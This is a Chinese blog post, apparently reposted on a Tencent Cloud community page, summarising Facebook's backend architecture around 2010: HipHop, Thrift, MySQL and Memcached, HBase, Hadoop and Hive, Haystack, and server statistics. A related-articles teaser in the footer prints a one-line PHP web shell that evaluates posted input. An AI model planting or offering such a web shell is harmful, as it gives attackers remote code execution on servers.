专栏首页服务端技术杂谈我所了解的Facebook的架构

我所了解的Facebook的架构

  • Web前端使用PHP。Facebook的HipHop编译器会将它们转换成C++然后使用g++编译,这样就提供了一个高性能的模版和web逻辑执行层。
  • 由于完全依赖静态编译的限制, Facebook已经开始开发一个HipHop的解释程序和HipHop虚拟机,它会将PHP代码转换成HipHop字节码。
  • 业务逻辑使用Thrift包装成服务。服务可能使用PHP, C++ 或者 Java开发, 也可能有其它语言,这依赖于服务需求 由Java实现的服务并不使用某种企业应用服务器,而是使用Facebook自己定制的应用服务器. 看起来好像是重新发明轮子,但是这些服务通常是使用Thrift暴露或者使用,使用tomcat或者Jetty都太重了
  • 持久化采用MySQL, Memcached [5], Hadoop’s HBase [6]. Memcached为MySQL做通用缓存
  • 离线处理使用Hadoop 和 Hive. logging, clicks 和 feeds数据的传输使用Scribe 。 这些数据集中存储在HDFS(使用Scribe-HDFS ), 因此可以使用MapReduce做扩展分析。
  • 自有技术BigPipe用来加速页面的渲染(使用pipelining logic) Varnish Cache用作HTTP网关,由于它的高性能和效率作为他们的首选
  • 数十亿的用户上传的招聘使用Haystack处理。Facebbook开发的一个特别的存储方案。提供底层的优化和append-only writes。
  • Facebook消息系统基于自己的架构, 显著利用分片sharding和动态集群管理. 业务逻辑和持久化被封装进一个称之为’Cell’模块. 每个Cell处理一部分的用户; 当用户增加时新的Cell可以加进来。 持久化使用HBase。
  • Facebook消息搜索引擎建立在存储在HBase上的反向索引。
  • Facebook消息搜索引擎的细节未知
  • 输入提示搜索使用一个定制的存储和检索算法
  • Chat基于Epoll服务器,使用Erlang开发,通过Thrift访问。
  • 他们还建立了一个自动化的系统,可以对监控警报进行响应,启动一个合适的修补流程或者在无法自动修补的情况下通知人力来修补。

Facebook估计有超过6万台服务器。 他们的最新的位于Oregon Prineville数据中心使用完全自己设计的硬件,这是最近退出的开放计算项目。 Memcached进程存储了 300 TB的数据 Hadoop/Hive集群由3000台服务器组成,每台服务器8个核, 32 GB 内存, 12 TB硬盘,集群总共2万4千和核, 96 TB内存和36 PB硬盘 每天1000亿次点击,500亿张照片,3 万亿个对象被缓存, 每天130 TB日志 (2010年7月统计)

本文分享自微信公众号 - 服务端技术杂谈(ITIBB2014)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2017-02-17

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 一个很easy的脚本--php获取服务器端的相关信息

    存档: 1 <html> 2 <head> 3 <meta http-equiv="content-type" content="...

    Angel_Kitty
  • 最短的各类一句话木马

    菜刀readme.txt中附带一3个一句话: PHP: 1 <!--?php @eval($_POST['chopper']);?--> ASP: 1 &l...

    逸鹏
  • Facebook的漏洞可以让攻击者在分分钟内重置用户账户密码

    安全研究人员Dan Melamed近日发现了一个Facebook平台的严重漏洞,可以允许攻击者完全控制任何账号。 这个漏洞之所以被认为严重是因为它允许黑客悄悄的...

    安恒信息
  • BZOJ 1029: [JSOI2007]建筑抢修【优先队列+贪心策略】

    1029: [JSOI2007]建筑抢修 Time Limit: 4 Sec  Memory Limit: 162 MB Submit: 4810  Solve...

    Angel_Kitty
  • BZOJ 1411&&Vijos 1544 : [ZJOI2009]硬币游戏【递推,快速幂】

    1411: [ZJOI2009]硬币游戏 Time Limit: 10 Sec  Memory Limit: 162 MB Submit: 897  Solve...

    Angel_Kitty
  • BZOJ 2222: [Cqoi2006]猜数游戏【神奇的做法,傻逼题,猜结论】

    2222: [Cqoi2006]猜数游戏 Time Limit: 20 Sec  Memory Limit: 259 MB Submit: 604  Solve...

    Angel_Kitty
  • phpcms v9.6 任意文件上传漏洞近日出现密集攻击动态

    背景介绍: 近日,安恒风暴中心研究人员发现,从2018年3月4日开始出现了对phpcms V9.6任意文件上传漏洞的密集攻击与利用。该漏洞为2017年爆发的0...

    安恒信息
  • Windows下Nginx+Mysql+Php(wnmp)环境搭建

    前言  最近想在windows下使用nginx搭建web环境,本来想用套件(WNMP)一键安装,但后来放弃了,觉得还是自己动手,丰衣足食的好,而且套件的局限性太...

    joshua317
  • 2017 Multi-University Training Contest - Team 1 1002&&HDU 6034 Balala Power!【字符串,贪心+排序】

    Balala Power! Time Limit: 4000/2000 MS (Java/Others)    Memory Limit: 131072/131...

    Angel_Kitty
  • BZOJ 1061: [Noi2008]志愿者招募【单纯形裸题】

    1061: [Noi2008]志愿者招募 Time Limit: 20 Sec  Memory Limit: 162 MB Submit: 4813  Solv...

    Angel_Kitty

扫码关注云+社区

领取腾讯云代金券